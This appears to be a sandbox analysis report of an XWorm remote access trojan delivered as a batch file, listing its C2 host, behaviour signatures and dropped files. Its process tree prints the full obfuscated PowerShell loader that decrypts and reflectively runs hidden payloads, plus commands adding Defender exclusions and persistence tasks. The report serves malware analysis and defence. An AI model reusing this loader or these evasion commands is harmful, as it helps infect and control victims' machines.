Analysis

  • max time kernel
    35s
  • max time network
    37s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240226-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
  • submitted
    10/04/2024, 02:59

General

  • Target
    system.bat
  • Size 288KB
  • Sample240410-dgw96sff71
  • SHA256 af2150ebafd8f655bc625da183bfa64597a6e16456f3be68b47830e418fdf2ac
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • xworm

C2
  • case-shield.gl.at.ply.gg:26501

Attributes
  • Install_directory

    %Userprofile%

  • install_file

    system.exe

Signatures

  • Detect Xworm Payload 1 IoCs
  • Xworm

    Xworm is a remote access trojan written in C#.

  • Blocklisted process makes network request 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Modifies registry class 1 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 21 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\system.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3496
    • C:\Windows\system32\net.exe
      net file
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1888
      • C:\Windows\system32\net1.exe
        C:\Windows\system32\net1 file
        3⤵
          PID:688
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('i+0bxapy5S31yOb+6nh/rSj/33k65D1x4BZGxFaXl4I='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ISjJsa33t3JfsjoF8fc4zg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $BpmOB=New-Object System.IO.MemoryStream(,$param_var); $wegsi=New-Object System.IO.MemoryStream; $eEZmM=New-Object System.IO.Compression.GZipStream($BpmOB, [IO.Compression.CompressionMode]::Decompress); $eEZmM.CopyTo($wegsi); $eEZmM.Dispose(); $BpmOB.Dispose(); $wegsi.Dispose(); $wegsi.ToArray();}function execute_function($param_var,$param2_var){ $ZJEAN=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $RiAAz=$ZJEAN.EntryPoint; $RiAAz.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\system.bat';$eSUwU=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\system.bat').Split([Environment]::NewLine);foreach ($WmsbY in $eSUwU) { if ($WmsbY.StartsWith(':: ')) { $bjXQL=$WmsbY.Substring(3); break; }}$payloads_var=[string[]]$bjXQL.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        2⤵
        • Modifies registry class
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2184
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_648_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_648.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4844
        • C:\Windows\System32\WScript.exe
          "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_648.vbs"
          3⤵
          • Checks computer location settings
          • Suspicious use of WriteProcessMemory
          PID:4816
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_648.bat" "
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:2140
            • C:\Windows\system32\net.exe
              net file
              5⤵
              • Suspicious use of WriteProcessMemory
              PID:744
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 file
                6⤵
                  PID:3808
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('i+0bxapy5S31yOb+6nh/rSj/33k65D1x4BZGxFaXl4I='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ISjJsa33t3JfsjoF8fc4zg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $BpmOB=New-Object System.IO.MemoryStream(,$param_var); $wegsi=New-Object System.IO.MemoryStream; $eEZmM=New-Object System.IO.Compression.GZipStream($BpmOB, [IO.Compression.CompressionMode]::Decompress); $eEZmM.CopyTo($wegsi); $eEZmM.Dispose(); $BpmOB.Dispose(); $wegsi.Dispose(); $wegsi.ToArray();}function execute_function($param_var,$param2_var){ $ZJEAN=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $RiAAz=$ZJEAN.EntryPoint; $RiAAz.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Roaming\startup_str_648.bat';$eSUwU=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Roaming\startup_str_648.bat').Split([Environment]::NewLine);foreach ($WmsbY in $eSUwU) { if ($WmsbY.StartsWith(':: ')) { $bjXQL=$WmsbY.Substring(3); break; }}$payloads_var=[string[]]$bjXQL.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
                5⤵
                • Blocklisted process makes network request
                • Drops startup file
                • Adds Run key to start application
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of SetWindowsHookEx
                • Suspicious use of WriteProcessMemory
                PID:3800
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe'
                  6⤵
                  • Suspicious behavior: EnumeratesProcesses
                  PID:4320
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'powershell.exe'
                  6⤵
                  • Suspicious behavior: EnumeratesProcesses
                  PID:5076
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\system.exe'
                  6⤵
                  • Suspicious behavior: EnumeratesProcesses
                  PID:3296
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'system.exe'
                  6⤵
                  • Suspicious behavior: EnumeratesProcesses
                  PID:536
                • C:\Windows\System32\schtasks.exe
                  "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "system" /tr "C:\Users\Admin\system.exe"
                  6⤵
                  • Creates scheduled task(s)
                  PID:2284
      • C:\Users\Admin\system.exe
        C:\Users\Admin\system.exe
        1⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        PID:2888

      Network

            MITRE ATT&CK Enterprise v15

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            powershell.exe.log

            • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
            • Size 3KB
            • SHA256 70c3ecbaa6df88e88df4efc70968502955e890a2248269641c4e2d4668ef61bf
            • MD5 SHA1 SHA512

            StartupProfileData-NonInteractive

            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            • Size 944B
            • SHA256 15d51ca694a0e2981e5c8c8e99285c592c9ffed28c40d25ddcd12e1df033ebbd
            • MD5 SHA1 SHA512

            StartupProfileData-NonInteractive

            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            • Size 1KB
            • SHA256 61c60aa2e781a7f6ab54577db26d1be6ca3bf40c4c1d29eca48698e8cb5e1a2b
            • MD5 SHA1 SHA512

            StartupProfileData-NonInteractive

            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            • Size 944B
            • SHA256 f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb
            • MD5 SHA1 SHA512

            StartupProfileData-NonInteractive

            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            • Size 944B
            • SHA256 2b139c74072ccbdaa17b950f32a6dbc934dfb7af9973d97c9b0d9c498012ba68
            • MD5 SHA1 SHA512

            __PSScriptPolicyTest_zecchgmi.pgw.ps1

            • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_zecchgmi.pgw.ps1
            • Size 60B
            • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
            • MD5 SHA1 SHA512

            startup_str_648.bat

            • Path C:\Users\Admin\AppData\Roaming\startup_str_648.bat
            • Size 288KB
            • SHA256 af2150ebafd8f655bc625da183bfa64597a6e16456f3be68b47830e418fdf2ac
            • MD5 SHA1 SHA512 SSDEEP

            startup_str_648.vbs

            • Path C:\Users\Admin\AppData\Roaming\startup_str_648.vbs
            • Size 115B
            • SHA256 920d0b80773cb6d807162a2f54d5043904bdf6b957446b521523ce7ed8876a59
            • MD5 SHA1 SHA512

            system.exe

            • Path C:\Users\Admin\system.exe
            • Size 442KB
            • SHA256 9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f
            • MD5 SHA1 SHA512 SSDEEP

            memory/536-96-0x00007FF9EE7B0000-0x00007FF9EF271000-memory.dmp

            memory/536-109-0x00007FF9EE7B0000-0x00007FF9EF271000-memory.dmp

            memory/536-106-0x00000176F9C60000-0x00000176F9C70000-memory.dmp

            memory/2184-0-0x000002BB7E3F0000-0x000002BB7E412000-memory.dmp

            memory/2184-54-0x00007FF9EE7B0000-0x00007FF9EF271000-memory.dmp

            memory/2184-6-0x00007FF9EE7B0000-0x00007FF9EF271000-memory.dmp

            memory/2184-14-0x000002BB7EFA0000-0x000002BB7EFD8000-memory.dmp

            memory/2184-13-0x000002BB7EF90000-0x000002BB7EF98000-memory.dmp

            memory/2184-11-0x000002BB66320000-0x000002BB66330000-memory.dmp

            memory/2184-12-0x000002BB66320000-0x000002BB66330000-memory.dmp

            memory/2888-124-0x00007FF9EE7B0000-0x00007FF9EF271000-memory.dmp

            memory/2888-126-0x00000270BC8C0000-0x00000270BC8D0000-memory.dmp

            memory/2888-132-0x00000270D5E70000-0x00000270D5EE6000-memory.dmp

            memory/2888-125-0x00000270BC8C0000-0x00000270BC8D0000-memory.dmp

            memory/2888-131-0x00000270D5A10000-0x00000270D5A54000-memory.dmp

            memory/3296-95-0x00007FF9EE7B0000-0x00007FF9EF271000-memory.dmp

            memory/3296-82-0x00007FF9EE7B0000-0x00007FF9EF271000-memory.dmp

            memory/3296-83-0x00000259AA230000-0x00000259AA240000-memory.dmp

            memory/3800-42-0x0000021B6DCF0000-0x0000021B6DD00000-memory.dmp

            memory/3800-115-0x00007FF9EE7B0000-0x00007FF9EF271000-memory.dmp

            memory/3800-116-0x0000021B6DCF0000-0x0000021B6DD00000-memory.dmp

            memory/3800-117-0x0000021B6DCF0000-0x0000021B6DD00000-memory.dmp

            memory/3800-53-0x0000021B6E970000-0x0000021B6E986000-memory.dmp

            memory/3800-114-0x0000021B6DCF0000-0x0000021B6DD00000-memory.dmp

            memory/3800-41-0x0000021B6DCF0000-0x0000021B6DD00000-memory.dmp

            memory/3800-40-0x00007FF9EE7B0000-0x00007FF9EF271000-memory.dmp

            memory/3800-133-0x0000021B6DCF0000-0x0000021B6DD00000-memory.dmp

            memory/4320-61-0x0000022D5A070000-0x0000022D5A080000-memory.dmp

            memory/4320-67-0x00007FF9EE7B0000-0x00007FF9EF271000-memory.dmp

            memory/4320-55-0x00007FF9EE7B0000-0x00007FF9EF271000-memory.dmp

            memory/4844-31-0x00007FF9EE7B0000-0x00007FF9EF271000-memory.dmp

            memory/4844-28-0x0000015022580000-0x0000015022590000-memory.dmp

            memory/4844-27-0x0000015022580000-0x0000015022590000-memory.dmp

            memory/4844-26-0x0000015022580000-0x0000015022590000-memory.dmp

            memory/4844-25-0x00007FF9EE7B0000-0x00007FF9EF271000-memory.dmp

            memory/5076-81-0x00007FF9EE7B0000-0x00007FF9EF271000-memory.dmp

            memory/5076-69-0x000002073D730000-0x000002073D740000-memory.dmp

            memory/5076-68-0x00007FF9EE7B0000-0x00007FF9EF271000-memory.dmp